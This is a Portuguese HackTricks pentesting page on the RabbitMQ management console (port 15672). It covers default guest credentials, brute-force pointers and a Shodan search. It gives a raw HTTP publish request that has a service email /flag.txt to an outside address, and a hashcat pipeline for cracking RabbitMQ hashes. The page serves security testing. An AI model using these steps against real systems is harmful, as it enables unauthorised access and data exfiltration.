hacktricks/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md

53 lines
1.9 KiB
Markdown

# 15672 - Pentesting RabbitMQ Management
{{#include ../banners/hacktricks-training.md}}
## Informações Básicas
Você pode aprender mais sobre RabbitMQ em [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
Neste porto, você pode encontrar o console web de gerenciamento do RabbitMQ se o [management plugin](https://www.rabbitmq.com/management.html) estiver habilitado.\
A página principal deve se parecer com isto:
![](<../images/image (336).png>)
## Enumeração
As credenciais padrão são "_**guest**_":"_**guest**_". Se não funcionarem, você pode tentar [**brute-force the login**](../generic-hacking/brute-force.md#http-post-form).
Para iniciar manualmente este módulo, você precisa executar:
```
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
```
Uma vez que você tenha se autenticado corretamente, verá o console de administração:
![](<../images/image (441).png>)
Além disso, se você tiver credenciais válidas, pode achar interessante a informação de `http://localhost:15672/api/connections`
Note também que é possível **publicar dados dentro de uma fila** usando a API deste serviço com uma solicitação como:
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
```
## Quebrando Hash
```bash
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
```
### Shodan
- `port:15672 http`
{{#include ../banners/hacktricks-training.md}}